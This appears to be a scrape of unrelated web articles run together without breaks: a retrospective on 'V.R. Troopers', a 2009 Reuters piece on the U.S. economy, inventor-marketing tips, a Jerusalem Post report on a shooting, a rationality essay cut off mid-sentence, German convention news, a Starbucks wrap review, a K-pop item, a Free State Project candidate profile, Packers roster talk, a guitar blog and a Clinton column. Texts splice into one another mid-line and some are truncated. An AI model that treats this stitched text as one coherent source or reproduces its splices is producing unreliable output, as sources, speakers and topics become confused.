Movie stars changed the whole TV dynamic
Up until the early 2000s, movie stars didn’t show up on television that much. TV and film were two completely different entertainment worlds: The big screen was where the glitz and glamour were, leading most big name celebrities to avoid slumming it on television.
An evolution started to happen around the turn of the century which found people like Brad Pitt guest starring in “Friends.” This profoundly affected the way television shows were cast, changing the hierarchy in roles available for everyday actors looking for their big break. Before the shift took place, the available roles for episodic projects looked like this:
Series regulars: The main leads of the show.
Recurring guest stars: Supporting players, appearing in a multiple episode arc.
Guest stars: Supporting players, featured mainly in one episode.
Co-Stars: Roles featured in just one episode of a series, usually with minimal lines.
For shows like “Power Rangers” and “V.R. Troopers,” unknown actors were given a quick shot at stardom. Yet once the business saw how successful a show like “Friends” got, with Brad Pitt making the jump to television, networks began shifting their business model and soon, only big name celebrities were being considered for that recurring guest-star spot on a show, which then led to people normally seen for those roles being bumped down to guest stars, and so on.
Ultimately, this effect made it even tougher for struggling actors to get their foot in the door and be seen.
The evolution of superhero television
If you would’ve told me a decade ago that Marvel and DC properties would reign supreme on the small screen, I’d have probably laughed. Yet here we are. Shows like “The Flash,” “Arrow,” “Daredevil” and “Legion” have changed the TV game — leading me to believe that “V.R. Troopers” could enjoy renewed success if Saban thought a revival was in order.
Television entertainment has come a long way, though. With the increasing budgets being thrown at CW’s superhero shows and the like, action sequences are more realistic and the audience respects the story for it.
In 1995, “V.R. Troopers” was canceled simply because we ran out of footage to use. “Jikuu Senshi Spielban,” “Shaider” and “Metalder” were the three Japanese shows our show pulled from — and there was an obvious limit to the number of times each of our 92 episodes could re-use the same exact scene.
With “The Power Rangers” movie hitting it big in theaters — and six more films in the works — it’s clear that these heroes will be around for quite some time. Since virtual reality has made a resurgence in recent years, is it possible for “V.R. Troopers” to get a reboot? Probably not. Still, as the TV industry has continued to push forward with every new trope and trend, the Saban series has proven its staying power. And no matter how silly the genre has seemed at times, that longevity is quite commendable.WASHINGTON (Reuters) - The U.S. economy appears destined for several years of weak growth and high unemployment that leave it vulnerable to a recession relapse after the massive dose of government stimulus wears off.
A worker walks through the service area at Balzekas Chrysler dealership in Chicago, Illinois May 14, 2009. REUTERS/Frank Polich
While tepid growth looks likely to resume late this year and build modestly into 2010, the credit bust has left households and businesses unable or unwilling to borrow and spend as freely as they did before the crisis.
The U.S. government has stepped in as lender and spender of last resort, but its deep pockets are not bottomless. Waning political and investor appetite for taking on more debt could stand in the way of any additional big spending plans.
“When you remove the government stimulus, what the private sector can generate in terms of growth feels like a recession,” said Jeffrey Rosenberg, head of global credit strategy at Banc of America Securities Merrill Lynch in New York.
Rosenberg thinks the U.S. economy may trudge along at a sluggish growth rate somewhere in the range of 0.5 percent to 1.5 percent while banks recover from the credit crisis, which could take another three years.
“If that’s what you’re able to generate, that economy is not generating the job growth required to bring the unemployment rate down,” Rosenberg said.
This is a much darker outlook than the one put forward by President Barack Obama’s administration in its latest budget projections, which show economic growth bouncing back to 3.2 percent next year and hitting 4.6 percent by 2012.
It also calls into question the staying power of a recent stock market rally. The Standard & Poor’s 500 is up more than 30 percent from an early March low.
The gloomier scenario assumes that banks take years to recover from losses that some economists think could reach $4 trillion; consumers curb borrowing and spending as they repair the $11.2 trillion hole blown through their savings last year; and the explosion in government debt drives up interest rates.
If the forecast proves accurate, it would leave the economy susceptible to a shock, such as a big jump in oil prices, and could force the United States to issue even more debt than investors expect. That would likely increase borrowing costs, both for the government and the private sector.
NEVER SAY NEVER
Typically, deep recessions are followed by powerful recoveries because when demand finally returns, companies quickly ramp up production. That helps explain why Wall Street has been feeling optimistic about recovery prospects.
However, recessions caused by financial crises have a history of being long, deep and difficult to fully escape.
Treasury Secretary Timothy Geithner said on Thursday that the current crisis was “caused in large part by too much borrowing and too much lending. And the adjustment process of that will be difficult.”
How difficult that adjustment will be depends to a large degree on how dramatically consumers alter their behavior.
The saying, “Never bet against the U.S. consumer” has been a profitable one for many years. But if this crisis has permanently altered consumer attitudes toward debt, it would put a considerable drag on growth because consumer spending accounts for more than two-thirds of U.S. economic activity.
The other anchor is interest rates. Christian Broda, an economist with Barclays Capital, said higher borrowing costs “are an inescapable feature of the post-recovery world” as public deficits and spending grow.
Already, huge government debt issuance is raising questions about long-term U.S. fiscal stability. Concerns grew last week that the country could be stripped of its top-tier AAA credit rating after Standard & Poor’s said it was considering downgrading Britain’s sovereign rating.
This week marks a big test of investor appetite for U.S. debt. The government plans to issue a massive $101 billion in notes and bonds, matching the weekly record set in April.
Broda thinks the yield on 10-year U.S. government paper may reach 6 percent by 2011, compared with 3.4 percent now. Because so many other loans are based on that rate, that could make it costlier to buy a house or expand a business.
NO WAY OUT
It all adds up to a sluggish economy with less cushion to cope with a shock. What form that shock might take remains to be seen, but a jump in oil prices is one likely suspect. Oil has nearly doubled since the start of the year, topping $60 per barrel on Tuesday, and futures prices suggest it will edge higher at least through the peak summer driving season.
“You start firing up demand and guess which price goes up first? Oil,” said James Galbraith, an economist who teaches at the University of Texas’ LBJ School of Public Affairs.
“If I were in a position to be talking strategy to the (Obama) administration, I would be saying you’ve got to take the energy business seriously. You’re going to end up in a stagflation trap.”
If the economy climbs out of one recession and into another, it wouldn’t be the first time. It happened most recently in the early 1980s, when the United States endured two recessions in less than three years.
Regardless of what triggers a relapse, the Obama administration won’t stand idly by, Banc of America’s Rosenberg said. There will be pressure for even more stimulus spending, particularly if the economy is faltering when midterm congressional elections approach in 2010.
“The problem is whether or not (stimulus) can work without itself creating other problems,” Rosenberg said. “The most likely ‘other problem’ is a rise in interest rates.
“What one hand giveth, the other hand taketh away.”By Raoul Davis
One of the single hardest issues that entrepreneurs who invent a new product face is a lack of optics. Regardless of whether you have created the world's greatest widget or have even found a miraculous cure, if no one ever sees your innovation, it was all for naught.
Unfortunately, most (if not all) independent inventors aren't recognizable, which means they can't open doors to distribution or boardrooms where products are pitched.
As a result, too many ideas to die on the vine. Getting stuck in a developmental stage with no extended resources, no channels to pursue and no market reach is part of the reason only 1 in 5,000 inventions have a successful product launch.
So how can the nameless inventor successfully get through the right doors -- or at least be seen by the right people?
Build Your Audience
If you alone are unable to opens those doors or open the lines of communication, align yourself or your product with those who can. A company looking to procure new products or develop new ideas is less likely to lend an audience to a single, nameless inventor than to multiple, trustworthy people. They are more likely to take the path of least resistance that leads to many potential products at any given time.
This path-of-least-resistance mentality is the reason inventors have spent countless dollars and traveled great distances to do annual, semi-annual or industry specific trade shows for years. They hope that being in the same building as people they want to connect with will allow them to finally open those lines of communication. For some, this has proven quite successful. For others, it has only sealed their fate in a quicker fashion because these types of events are a hard and fast drain on what are normally scarce resources.
While there are many entrepreneurs who are still actively adopting this old-school approach to connecting, its cost-restrictive nature is leading others to online innovation portals and a strong social media presence. This is surely a sign of the times and a time and energy saver. Advantages of social media are obvious and well-documented, so most inventors turn their attention to these first. Getting a page or multiple pages on various social media sites will give you fast access to potential customers and show validity to your product through unsolicited testimonials posted to those sites.
Let Your Product Pitch Itself
Online innovation portals are the next step. These have low or no fees and allow inventors to pitch their products based on their own merits (through descriptions, pictures and videos that highlight the product features). Most importantly, they often offer great opportunities to become instantly visible to companies that are utilizing that portal as an aggregate for product procurement at a fraction of the cost.
Mega Mind Ideas is one such example. They are heavily invested in securing companies so inventors and entrepreneurs can be seen. It is co-owned by current NFL player Bernard Pollard. CEOs Brian Vickers and Pollard both saw a need to provide inventors like themselves a way to get their inventions in front of large companies and investors.
Another example is Efactor.com, the largest social network of entrepreneurs in the world. While not as focused on inventors, Efactor has around 20,000 accredited investors as a part of its platform in addition to entrepreneurs. Registering on web sites like Mega Mind Ideas and Efactor.com creates an additional -- and often more viable -- avenue to potential companies or investors.
As this type of online property is relatively new, do your due diligence and select the one that not only offers the best value, but best fits with your product. (Hint: Find out which companies in your niche are currently utilizing a particular innovation portal and go from there.)
Before you get started, here are some tips to keep in mind:
Prepare pages that showcase your product through various social media platforms (it's free and reaches a vast number of potential customers)
Do your due diligence on which online innovation portal(s) offer you the best opportunity to reach the right companies for you and your product
Promote your product through online innovation portal(s) using clear descriptions, plenty of illustrations or pictures, video and testimonials
Maintain these presences -- if your social media looks too dated, or if your product page isn't up to date, you may get overlooked.
No inventor wants to fail. Using cost effective, wide-reaching techniques definitely helps level the playing field.
Raoul Davis, partner at Ascendant Group, specializes in helping CEOs increase their visibility, revenues, and industry leadership status through a proprietary CEO branding model.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Adv.-Staff-Sgt.-Maj. Yosef Kirma, 29, a Special Patrol officer, and Levana Malichi, 60, a former Knesset employee, were shot and killed, and six others were wounded during a drive-by attack in the capital on Sunday.
The terrorist attack began near Israel Police headquarters across the street from the Ammunition Hill light rail stop in northeastern Jerusalem and ended in nearby Sheikh Jarrah neighborhood.
The terrorist, a 39-yearold resident of the Silwan neighborhood, just south of the Old City, was shot dead during an exchange of gunfire with police. The attacker’s identity is under a gag order despite being widely reported in Palestinian media.Prime Minister Benjamin Netanyahu, during comments before the cameras at the opening of Sunday morning’s weekly cabinet meeting, briefly referenced the attack, saying the details of what happened were still being clarified.After sending wishes for a speedy recovery to the wounded, he praised the police for quick and determined action in killing the terrorist.The shooting began at approximately 10:30 a.m., when the terrorist, who was driving a white car, opened fire on a male and female civilian near the Ammunition Hill light rail stop, across the street from police headquarters.“The terrorist opened fire on two people, and one woman in her 60s was critically wounded, and a man was moderately-to-seriously wounded,” police spokesman Micky Rosenfeld said.The woman, later identified as Malichi, died of her wounds a short time later at Hadassah-University Medical Center in Mount Scopus, Rosenfeld said.“After shooting the two civilians, the suspect continued driving his vehicle into the Sheikh Jarrah neighborhood, where two officers on motorcycles from the Special Patrol Unit chased him. Shots were fired at our officers, who returned fire, and the terrorist was shot and killed at the scene.”Rosenfeld said Kirma, who was shot in the head at close range, died at the same hospital, while the second officer was treated for a light gun wound to his leg.Kirma was buried a few hours later at the National Military and Police Cemetery, in a funeral attended by his wife, parents, two brothers, extended family, and hundreds of fellow officers and friends.During the gun battle in Sheikh Jarrah, the terrorist also shot a woman whose identity has not been released, Rosenfeld said. She is in moderate- to-serious condition.“Police immediately closed off the area and bomb disposal experts arrived at the scene within minutes and examined the vehicle to ensure there were no explosives,” he said. “A forensics team then collected evidence.”Police Commissioner Insp.- Gen. Roni Alsheich, who also rushed to the scene, called on the members of the public to remain alert, but not to change their daily routines as the High Holy Days continue.“It is not surprising that there are people who are attempting to shatter the tranquility of the holidays and hurt Israeli morale,” he said.“However, the people of Jerusalem are strong and will not be deterred by such attacks.”Alsheich added that despite the violence, there is “no change in the security assessment, and no need to change behavior,” and that those planning to visit Jerusalem for the holidays should not alter their plans.While Alsheich said nearly 4,000 police officers remain on watch in the capital, he conceded that Sunday’s attack may embolden other would-be attackers.ZAKA rescue and recovery organization chairman Yehuda Meshi-Zahav said the organization will remain “on high alert at this time, not only in Jerusalem but also throughout the country.”“They were able to give an immediate response to the injured at the scene,” said Meshi-Zahav.During a brief press conference at the scene of the attack, Public Security Minister Gilad Erdan said no intelligence was received beforehand, noting that the terrorist had an Israeli identification card.While Erdan said he could not divulge details about the investigation, he emphasized that because thousands of police reinforcements have been deployed in Jerusalem for the holidays, further bloodshed was prevented.The minister added that incitement on social media continues to contribute to the ongoing rash of “lone-wolf” terrorist attacks that have taken place throughout the country over the past year. He cited Facebook specifically, saying that the social network has a responsibility to end all forms of incitement to murder.The security cabinet convened on Sunday evening for a regularly scheduled meeting, during which security officials briefed the ministers about the attack.The US State Department said it condemned “in the strongest possible terms the terrorist attack that took place today in Jerusalem, which resulted in the death of two Israelis and injured several others.”The statement added that “there is absolutely no justification for the taking of innocent lives. We also condemn the statements glorifying this reprehensible and cowardly attack.”Hamas praised the “heroic Jerusalem operation,” and said it considers the attack a “natural response to the occupation’s crimes and violations at the expense of our people and holy sites.”The terrorist organization’s spokesman Fawzi Barhoum said the murders are “confirmation of the continuation of the intifada,” adding that “all of the occupation’s attempts to break and liquidate it will fail.”Herb Keinon, Adam Rasgon and Jerusalem Post staff contributed to this report.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>poke alleges:
"Being able to create relevant hypotheses is an important skill and one a scientist spends a great deal of his or her time developing. It may not be part of the traditional description of science but that doesn't mean it's not included in the actual social institution of science that produces actual real science here in the real world; it's your description and not science that is faulty."
I know I've been calling my younger self "stupid" but that is a figure of speech; "unskillfully wielding high intelligence" would be more precise. Eliezer 18 was not in the habit of making obvious mistakes—it's just that his "obvious" wasn't my "obvious".
No, I did not go through the traditional apprenticeship. But when I look back, and see what Eliezer 18 did wrong, I see plenty of modern scientists making the same mistakes. I cannot detect any sign that they were better warned than myself.
Sir Roger Penrose—a world-class physicist—still thinks that consciousness is caused by quantum gravity. I expect that no one ever warned him against mysterious answers to mysterious questions—only told him his hypotheses needed to be falsifiable and have empirical consequences. Just like Eliezer 18.
"Consciousness is caused by quantum gravity" has testable implications: It implies that you should be able to look at neurons and discover a coherent quantum superposition (whose collapse?) contributes to information-processing, and that you won't ever be able to reproduce a neuron's input-output behavior using a computable microanatomical simulation...
...but even after you say "Consciousness is caused by quantum gravity", you don't anticipate anything about how your brain thinks "I think therefore I am!" or the mysterious redness of red, that you did not anticipate before, even though you feel like you know a cause of it. This is a tremendous danger sign, I now realize, but it's not the danger sign that I was warned against, and I doubt that Penrose was ever told of it by his thesis advisor. For that matter, I doubt that Niels Bohr was ever warned against it when it came time to formulate the Copenhagen Interpretation.
As far as I can tell, the reason Eliezer 18 and Sir Roger Penrose and Niels Bohr were not warned, is that no standard warning exists.
I did not generalize the concept of "mysterious answers to mysterious questions", in that many words, until I was writing a Bayesian analysis of what distinguishes technical, nontechnical and semitechnical scientific explanations. Now, the final output of that analysis, can be phrased nontechnically in terms of four danger signs:
First, the explanation acts as a curiosity-stopper rather than an anticipation-controller.
Second, the hypothesis has no moving parts—the secret sauce is not a specific complex mechanism, but a blankly solid substance or force.
Third, those who proffer the explanation cherish their ignorance; they speak proudly of how the phenomenon defeats ordinary science or is unlike merely mundane phenomena.
Fourth, even after the answer is given, the phenomenon is still a mystery and possesses the same quality of wonderful inexplicability that it had at the start.
In principle, all this could have been said in the immediate aftermath of vitalism. Just like elementary probability theory could have been invented by Archimedes, or the ancient Greeks could have theorized natural selection. But in fact no one ever warned me against any of these four dangers, in those terms—the closest being the warning that hypotheses should have testable consequences. And I didn't conceptualize the warning signs explicitly until I was trying to think of the whole affair in terms of probability distributions—some degree of overkill was required.
I simply have no reason to believe that these warnings are passed down in scientific apprenticeships—certainly not to a majority of scientists. Among other things, it is advice for handling situations of confusion and despair, scientific chaos. When would the average scientist or average mentor have an opportunity to use that kind of technique?
We just got through discussing the single-world fiasco in physics. Clearly, no one told them about the formal definition of Occam's Razor, in whispered apprenticeship or otherwise.
There is a known effect where great scientists have multiple great students. This may well be due to the mentors passing on skills that they can't describe. But I don't think that counts as part of standard science. And if the great mentors haven't been able to put their guidance into words and publish it generally, that's not a good sign for how well these things are understood.
Reasoning in the absence of definite evidence without going instantaneously completely wrong is really really hard. When you're learning in school, you can miss one point, and then be taught fifty other points that happen to be correct. When you're reasoning out new knowledge in the absence of crushingly overwhelming guidance, you can miss one point and wake up in Outer Mongolia fifty steps later.
I am pretty sure that scientists who switch off their brains and relax with some comfortable nonsense as soon as they leave their own specialties, do not realize that minds are engines and that there is a causal story behind every trustworthy belief. Nor, I suspect, were they ever told that there is an exact rational probability given a state of evidence, which has no room for whims; even if you can't calculate the answer, and even if you don't hear any authoritative command for what to believe.
I doubt that scientists who are asked to pontificate on the future by the media, who sketch amazingly detailed pictures of Life in 2050, were ever taught about the conjunction fallacy. Or how the representativeness heuristic can make |
1 after a Massachusetts Department of Public Utilities inspection revealed substantial cracks in a number of the carrier’s buses and the company refused to turn over its safety records.
The federal motor carrier agency subsequently found other serious safety issues, including falsified inspection records, improper supervision of drivers, and inadequate drug and alcohol testing, conditions that “substantially increase the likelihood of serious injury or death to Fung Wah drivers, passengers, and the traveling public,” the agency said.
Fung Wah competitor Lucky Star, a Boston company that also runs to New York’s Chinatown, lost its license in June for not properly maintaining its buses and for failing to monitor drivers’ hours and drug and alcohol tests.
After spending almost $1 million upgrading operations — including buying new buses, retraining drivers, and hiring a safety consultant — Lucky Star resumed service in November.
Katie Johnston can be reached at kjohnston@globe.com. Follow her on Twitter @ktkjohnstonLUXEMBURG
SVEN WOHL
Die LuxCon, eine Convention rund um Science Fiction, Fantasy und Horror, geht in die zweite Runde
Geeks, also Fans von Science Fiction, Fantasy, Comics, Videospielen und dergleichen, wirken wie eine Randerscheinung in Luxemburg. Selbst heute, trotz der steigenden Popularität der sozialen Medien, gibt es viele kleine Grüppchen, die isoliert auftreten. Im vergangenen Jahr fand zum ersten Mal die „LuxCon“ statt, teils in der Hoffnung, die Community damit stärker zusammen zu schweißen. Eine Convention, also eine Art Festival, die sich ausschließlich auf all diese Themen konzentriert. Der Erfolg war überwältigend: Aus dem Stand schaffte die LuxCon es auf über 1.400 Besucher in zwei Tagen. Nun steckt man bei der „Science Fiction and Fantasy Society Luxembourg“ in den Vorbereitungen der zweiten Ausgabe, die am 28. und 29. März stattfindet. Gérard Kraus, einer der Organisatoren, gewährt uns Einblicke in das, worauf die Geeks sich so freuen können.
Purer Positivismus
„Das Feedback zum vergangenen Jahr war überragend positiv“, erzählt Gérard Kraus sofort. Das bezieht sich nicht nur auf die Besucherzahlen, die bereits am ersten Tag sämtliche Erwartungen übertrafen, sondern auch auf die Rückmeldungen der zahlreichen Händler, die dort ihre Waren verkauften. Doch das heißt nicht, dass man keine Fehler gemacht hat und es nichts gab, wo man hinzulernen kann. „Wir müssen unser Publikum ein wenig dazu erziehen, dass eine Convention mehr ist als nur zu shoppen“, meint er und verweist darauf, dass viele Besucher im vergangenen Jahr sehr kontaktscheu waren, wenn es um die Autoren geht. Das hätte auch teilweise daran gelegen, dass der Verkaufsraum und der Präsentationsraum nicht voneinander getrennt waren, was dieses Mal anders sein wird.
Abseits davon hat man sich bemüht, viele Neuheiten mit ins Programm zu nehmen. „Animes stehen dieses Jahr stärker im Fokus“, erzählt Gérard Kraus. Freunde der japanischen Animationskunst kommen nicht nur bei einem Panel - einer Art Diskussionrunde - auf ihre Kosten, sondern dürfen sich auch über Cosplay-Workshops freuen. Beim Cosplay verkleidet und spielt man teilweise Figuren aus den Anime. Auch Videospiele werden mehr Platz haben: Die Videospielhalle, im typischen Jargon „Arcade“ genannt, wird mit Automaten gefüllt und auch hier gibt es wieder ein Panel, auf dem einige luxemburgische Spielemacher zum Zug kommen. Dass dies überhaupt möglich wurde, liegt auch daran, dass sich im Verlauf des vergangenen Jahres viel getan hat und die luxemburgische Spielentwicklerszene gewachsen ist. An Brettspielentwickler ist man leider nicht gekommen: Zwar gibt es Luxemburger, die solche Spiele entwickeln und über Verlage verkaufen, jedoch gehen diese nicht an die Öffentlichkeit. Die analoge Spielecke wird daher etwas verkleinert. „Die war einfach zu groß“, erklärt Gérard Kraus.
Frischer Spieltrieb
Generell sei es das Ziel, sämtliche wichtigen Medien, sei es Film, Literatur, Comics oder Videospiele, möglichst gut abzudecken. Das verlangt natürlich nach viel Organisation: Zusammen mit den freiwilligen Helfern sind insgesamt etwa 70 Menschen im Einsatz. Neben den Ständen, Panels, Präsentationen und Workshops gibt es noch eine Attraktion, die dieses Jahr neu ist: Beim „Live Escape“ sollen einige Besucher aus einem geschlossenen Raum fliehen, indem sie vorbereitete Rätsel lösen. Das war im vergangenen Jahr aus organisatorischen Gründen nicht möglich. „Im Moment warten wir noch auf die Testläufe“, sagt Gérard Kraus.
Das bisherige Interesse sowohl online, als auch bei den traditionellen Medien lässt hoffen, dass die zweite Ausgabe noch mehr Menschen, auch aus der Großregion anziehen wird. Dabei kann man nur spekulieren, wie viele es dieses Jahr werden.
Mehr Informationen finden Sie auf www.Luxcon.luFinally a Vegan sandwich option from Starbucks!
As soon as I heard the whispers about this one, my ears pricked up with excitement. I am addicted to their Soy Mocha Frappuccino and always massively disappointed that their only food option is fruit – ew!
The Christmas before last they had a festive flatbread which was Vegan and it was just OK, I was a little apprehensive and had low expectations about the new offering.
I called into my local branch to see if they had it and when I saw that they did, I squealed a little (did I mention I’m a massive loser?).
GOOD LORD, WOMAN, JUST TELL US IF IT’S NICE ALREADY!!
Jeez, OK. Let me quickly tell you what is first –
Kale, Jalapeño and Slaw Wrap
Crushed corn, kale and jalapeño bites mixed with a Californian inspire slaw, spinach and a hot chilli relish.
It was fricken delicious! Packed full of flavour, so many different tastes going on and they all worked together.
It’s spicy, it’s tangy, it’s creamy (the butternut squash). It’s an unusual taste combination but it works so well! Word of warning it is a little spicy.
I really hope they will keep this on the menu as I’m salivating at the thought of having another one, with Summer creeping in, I think I’m going to be sneaking off to my local Starbucks a lot!Celebrities are rarely recorded during broadcast breaks but recent footage from a hidden camera on SBS‘s Same Bed Different Dreams revealed Yura‘s kind actions.
Amid internet rumors of Girl’s Day‘s alleged rudeness, member Yura has been winning over the hearts of fans for her actions on the set of the SBS show. Fans who’ve seen the footage or screenshots of it have praised Yura for her kind heart, leading to one Pann post about the situation gaining incredible popularity.
A translation of the post and screenshots from the broadcast can be found below:
Find out what Netizens had to say about this article below!
“One of the guests on the show was crying and Yura went over to take care of her. Even though it was a really confusing situation, Yura took the time to go talk to her. She looks so caring and nice. She wasn’t even told to go talk to her. Yura-ya..”
NETIZEN REACTIONS
Koreaboo has collected reactions from Netizens who commented on the original article from our Korean source. The below comments are the most popular comments at the time of this article being published.
[+391, -4] Yura noticed her crying right away, I was watching the broadcast as well and [the girl] was in her puberty and you could see she was obviously crying
[+269, -8] She should seriously stop cryingㅋㅋ Yura’s an angel
[+226, -10] Yura’s so nice…But what can be done with a kid like thatㅠ
[+85, -65] I don’t like Hyeri but I like Yuraㅋㅋㅋㅋ
Source: PannFree State Project Members
Free State Project members sign a pledge to move to New Hampshire and work to change the way of life in our state. They do not move here for a job, or for family, or even because they like what New Hampshire has to offer. Instead, they move here because a political group they are affiliated with voted on a state to move to in order to enact a political agenda, and New Hampshire was the unlucky recipient of that vote.
Manchester Ward 11 Selectman Candidate Andrew Vermiglio
Manchester Ward 11 Selectmen Candidate Andrew Vermiglio moved to New Hampshire as part of the Free State Project in 2014. Vermiglio has demonstrated considerable ties to the Free State Project, including:
Vermiglio is an active participant in Free State Project events, and blogs at the Free State Project-linked website FreeKeene.com. He writes and participates in activism under the alias “Shire Dude”. Vermiglio was a co-host of the Manchester-based and Free State Project-linked podcast Rebel Love Show from July 2014 to July 2015. In 2014 Vermiglio appeared on a New Movers Panel at Keenevention, a FSP-linked event. Vermiglio has produced several videos around FSP activities and FSP member actions.
Vermiglio has participated in attempts to thwart police sobriety checkpoints in Manchester, including by livestreaming the activities. Vermiglio has been involved with CopBlock activities with other Free Staters in Manchester, taking video while others warn drivers away from sobriety checkpoints.
Vermiglio promoted the Free State Project while a student in California before moving to New Hampshire. Vermiglio passed out FSP fliers at Young Americans for Liberty events.
Vermiglio clogs up the court system by challenging $10 parking tickets in court. Vermiglio recorded several videos around his Free State Project activism, including a trial.
Vermiglio currently lives above “The Quill” – a gathering place for Free State Project members. The building is owned by Free Stater Matthew Ping and “The Quill” serves as a community center Free State Project members and activities.
Vermiglio is involved with NH Exit, a Free State Project-associated secessionist organization. Vermiglio designed and sells bumper stickers promoting NH Exit, an organization started by, and led by, Free Staters that promotes the secession of New Hampshire from the United States. Vermiglio has also participated in NH Exit public demonstrations.
Why is Andrew Vermiglio’s FSP Affiliation Important?
The ultra-extreme Free State Project voted on a state to move 20,000 people to, with the stated purpose to take over state government and dismantle it. The Free State Project seeks to create a libertarian “utopia” void of public infrastructure and common laws, and to use the power of numbers to dramatically change New Hampshire – even threatening secession from the rest of the country.[1] Members like Andrew Vermiglio are actively working to help the Free State Project fulfill those goals.
Download FSP Candidate Profile for Andrew Vermiglio
[1] “Once we’ve taken over the state government, we can slash state and local budgets, which make up a sizeable proportion of the tax and regulatory burden we face every day. Furthermore, we can eliminate substantial federal interference by refusing to take highway funds and the strings attached to them. Once we’ve accomplished these things, we can bargain with the national government over reducing the role of the national government in our state. We can use the threat of secession as leverage to do this.” [Announcement: The Free State Project by Founder Jason Sorens]
AdvertisementsThe Green Bay Packers now have what appear to be seven legitimate NFL receivers on their roster, providing fifth-round pick Trevor Davis is indeed a legitimate NFL receiver.
That’s what made the Davis pick so interesting.
With Jordy Nelson, Randall Cobb, Ty Montgomery, Davante Adams, Jared Abbrederis and Jeff Janis already on the roster, you could clearly argue the Packers have no need for another receiver.
The team typically only keeps five receivers on their roster. In 2015, the Packers went against form and kept six.
But seven?
It’s not unheard of. Two teams — Buffalo and Cleveland — carried seven receivers last season.
The Packers have never done so with Ted Thompson as general manager, but their roster is set up to go heavy at a position like receiver this year.
Unless they make another player addition, the Packers could have two more roster spots on offense to work with in 2016.
Those will be the second fullback and the third quarterback.
With John Kuhn reportedly done in Green Bay, that leaves the Packers with just one fullback — Aaron Ripkowski. With Scott Tolzien now in Indianapolis, they’ll only need to keep Brett Hundley behind Aaron Rodgers.
That doesn’t mean seven receivers is a lock by any means.
There will be a battle for slots five through six or seven. That could put Janis, Abbrederis, Adams or even Davis on the street.The guitar is one of the most wonderful instruments. It’s not only portable but cost-effective and can be learned very easily. Different kinds of people-from school going kids to grandparents, everyone go for the guitar classes every day. And if you’re someone who is passionate about learning electric guitar- this is the blog you must read.
The following steps are a must in a basic set up of a guitar. What’s more important is, that they are presented in a very similar order- as it is done in a professional repair shop. Below are some of the steps you need to follow in order to learn exactly how to play electric guitar. Let’s begin.
It is very important to do the guitar set up correctly if you want to have a great learning experience. You can either get the same done by a professional or any music store or may also ask the owner of the local guitar shop to do it. There are some great benefits of doing the guitar set up properly.
Excellent Intonation:
This is one of the most critical tasks. It is very important to have an accurate guitar so that you know when you’re playing the right notes. In case, if it has a bad annotation, it will be absolutely out-of-tune while playing the higher notes. This will make it difficult for you to learn playing electric guitar. Help: If you want to buy a electric guitar for learning, the we suggest you to read our best electric guitar buying guide. Then you can know which one you should buy for the first time.
Playing Comfort:
If the set-up is extremely high, then it can be very difficult to play electric guitar. You have to put a lot of pressure on your figure to play it properly. This will also create intonation problems, and will also hurt. With time you will see some clauses developing on your finger, but it will still be difficult for you to play the chords. In the following few paragraphs, you will learn a little more about the setup process.
#1 Fine-Tune the Truss Rod: Most of the electric and acoustic-electric guitar comes up with an adaptable truss rod, which helps to keep the neck straight. The adjustable ends present in the truss rod-which are either a male or female nut is easily found in different places. When it comes to an electric guitar, it is mostly beneath the truss rod cover which is in the head-stock. #2 Change the Bridge Height
A guitar’s action entirely depends on how you adjust the bridge height. You just have to either shim or sand the bridge saddle. It is always a great idea to leave the job to the professionals if you don’t have any experience of how to do it. Once you are done with the truss rod and bridge adjustment, the next step is to test the guitar so that you know whether it is giving you a clean tone. #3 Examine the Nut Height When the truss rod and bridge is fine-tuned, the final action altering process starts. Nowadays, you will get nuts which are properly made, and there are some affordable guitars which can easily slip through the cracks. You won’t need any expensive tools but a specialized skill to carry out the task. Tip: Here's our another post on learning to play acoustic guitar.
More Important Things About on How to Play Electric Guitar:
Below are some more important things about learn to play electric guitar. You also must be follow this step for properly learn how to play electric guitar for beginners step by step.
Listen and Repeat:
Every song has a specific melodic pattern, and what it means is that it has some tunes which can be easily memorized. Don’t just stick to the guitar solos- although it is still considered as one of the best ways to learn- but you should also listen to what the singer is singing, focus on the bass lines etc. Anything that is catchy to your ear will help you learn. LOCKED OUT OF HEAVEN BY BRUNO MARS, it is very simple and has some easy vocal hooks and phrases that you can easily play with your guitar. For instance, if you listen to
CALL ME MAY BE from CARLY RAE JEPSEN, it has a very catchy melody, but a very different string back up pattern that will be a great challenging for you to play. If we talk of
What you should remember is that you cannot become a guitar legend by solo learning, but should always have an ear to listen to everything and play accordingly.
In case, if you are not able to play a specific tune, watch the videos on YOUTUBE where you may find many bands playing the same tune.
Mix the Hard Stuff with the Easy One:
Sometimes, you should take a break once you are done playing a difficult track. Try to play an easy one, something which you can play very comfortably. This will help you improve, keep your fingers stable and also motivate you to play better. You should always have a hard track in the list to play. This will help you become a better guitarist with the passing time.
Keep practicing the skill whenever you feel like playing.
No Stomp Boxes During the Practice:
Needless to mention, a stomp box can definitely give you some great shredding tone, and it also sustains. But, it is also one of the biggest disadvantages as it doesn’t help you know your errors. A clean and clear guitar tone will help you know all your flaws while you’re playing the instrument. You can always try the shred tone while you’re jamming in a party, or just want to relax.
Learn Music as Much as You Can
As you learn guitar, you will learn about the different shortcuts music theory. Rather than struggling to find the right chords, knowledge of music theory will help you know what the most likely chords can give you the right key.
It will also help you interact musically with the other music players- especially it is a great option if you’re starting a band.
Look for a Professional Guitar TeacherA screen shot of the top of Clinton’s article. (The Times of Israel)
On the website of The Times of Israel on Sunday night, Hillary Clinton published a blog post “doing what can only be described as ‘goysplaining,’ ” which is when a non-Jew condescendingly accuses “a Jew of betraying his own people for criticizing Israel,” writes Ben Norton at Salon.
In the article, titled “Fighting oppression, inequality and injustice on Passover,” Clinton told the Biblical story of Exodus and stressed that lessons should be drawn from it for today.
With hawkish right-wing rhetoric, Clinton steadfastly defended the Israeli government. She conflated the Jewish religion with the state of Israel and condemned critics of the government as anti-Semitic.
“I’ve proudly stood with the State of Israel for my entire career, making sure it always has the resources it needs to maintain its qualitative military edge,” Clinton wrote, bragging about her work to boost U.S. military funding for Israel.
“Protecting allies and partners like Israel is one of the most solemn duties of any Commander-in-Chief. Yet others in this race suggest we must remain ‘neutral’ in order to negotiate,” Clinton added, in a jab at her opponent Bernie Sanders.
